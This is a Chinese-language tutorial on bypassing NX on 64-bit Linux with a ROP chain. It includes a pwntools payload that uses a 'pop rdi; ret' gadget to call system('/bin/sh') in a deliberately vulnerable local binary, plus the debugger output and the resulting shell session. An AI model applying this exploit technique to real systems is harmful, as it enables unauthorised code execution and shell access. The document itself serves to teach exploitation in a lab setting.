NX 不可执行是一项重要的漏洞利用缓解措施,为了绕过 NX 我们需要利用已有的可执行区域的代码片段来辅助完整漏洞利用。
这次还是需要禁用 ASLR,编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c
在 32 位系统中,函数调用参数都是通过栈来传递的,而在 64 位系统中,函数参数是优先使用寄存器来传递的,当参数少于 7 个时,参数从左到右放入寄存器 rdi, rsi, rdx, rcx, r8, r9,如果超过 7 个,剩下的参数还是使用栈来传递。
在 32 位系统中,因为栈是相对容易控制的,我们可以控制栈为函数参数的形式,然后覆盖返回地址为已有的函数地址,比如 libc 中的 system 函数,这样就可以实现任意命令执行了。但是在 64 位系统中,控制了栈是没有用的,必须要控制寄存器才可以,除非是函数不需要参数。所以我们需要找到一些已有的指令片段,比如 pop rdi
,会把栈中的参数转移到寄存器中,这样逐步的控制所需的所有寄存器,我们称这种指令片段为 gadget。
需要什么
以执行 system("/bin/sh")
为例
system
函数的地址- 要执行的函数参数,这里是
/bin/sh
,需要在内存中放置或者找到一个已有的。 - 一个可以把
/bin/sh
放入 rdi 寄存器的 gadget。
system("/bin/sh")
system
函数的地址可以简单获得
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400550 <system@plt>
而寻找 /bin/sh
可以使用 find
命令
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
发现 libc 中有一个,而 student
内存我们可以控制,也可以自己放置一个,这次先使用 libc 中的。
gadget 的选择
我们需要一个能把 0x7ffff7b99d17
放入寄存器的 gadget
ROPgadget 是一个寻找 gadget 的工具,安装后可以使用下面的命令来寻找
可以看到结果是
➜ new ROPgadget --binary vuln | grep rdi
0x0000000000400803 : pop rdi ; ret
发现结果非常理想, pop rdi; ret;
可以复制参数到寄存器,其次是 ret
可以让程序再回到我们控制的地址上继续后续的执行。
shellcode
仿照之前的写法,我们很简单就可以写出 shellcode
from pwn import *
shellcode = "1925\n"
shellcode += "A" * (0x7fffffffe348 - 0x7fffffffe2f0)
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# /bin/sh
shellcode += p64(0x7ffff7b99d17)
# system
shellcode += p64(0x400550)
print shellcode
分析
这个栈布局已经是很清楚了
0016| 0x7fffffffe2f0 ('A' <repeats 88 times>, "\003\b@")
0024| 0x7fffffffe2f8 ('A' <repeats 80 times>, "\003\b@")
0032| 0x7fffffffe300 ('A' <repeats 72 times>, "\003\b@")
0040| 0x7fffffffe308 ('A' <repeats 64 times>, "\003\b@")
0048| 0x7fffffffe310 ('A' <repeats 56 times>, "\003\b@")
0056| 0x7fffffffe318 ('A' <repeats 48 times>, "\003\b@")
0064| 0x7fffffffe320 ('A' <repeats 40 times>, "\003\b@")
0072| 0x7fffffffe328 ('A' <repeats 32 times>, "\003\b@")
0080| 0x7fffffffe330 ('A' <repeats 24 times>, "\003\b@")
0088| 0x7fffffffe338 ('A' <repeats 16 times>, "\003\b@")
0096| 0x7fffffffe340 ("AAAAAAAA\003\b@")
0104| 0x7fffffffe348 --> 0x400803 (<__libc_csu_init+99>: pop rdi)
0112| 0x7fffffffe350 --> 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
0120| 0x7fffffffe358 --> 0x400550 (<system@plt>: jmp QWORD PTR [rip+0x200aca] # 0x601020)
在 GDB 中运行,可以看到 /bin/dash
被执行,其实 /bin/sh
就仅仅是它的一个符号链接。
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
0x7fffffffe2f0What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[New process 4824]
process 4824 is executing new program: /bin/dash
[New process 4825]
process 4825 is executing new program: /bin/dash
[Inferior 3 (process 4825) exited normally]
Warning: not running or target is remote
会发现两个 /bin/dash
的原因是 system
函数的原理是 /bin/sh -c $cmd
,所以会先启动一个 /bin/sh
,然后 execve
想运行的命令,这里还是 /bin/sh
。
因为禁用 ASLR 的原因,libc 的加载地址不变,这个 shellcode 也是可以直接运行的
➜ new (cat in.txt; cat) |./vuln
0x7fffffffe360What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
id
uid=1000(virusdefender) gid=1000(virusdefender) groups=1000(virusdefender),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
当然这个 gadget 也不唯一,比如 python Ropper.py --file /lib/x86_64-linux-gnu/libc.so.6 --search "pop|call"
得到的 0x00000000001073d9: pop rax; pop rdi; call rax;
也非常好用。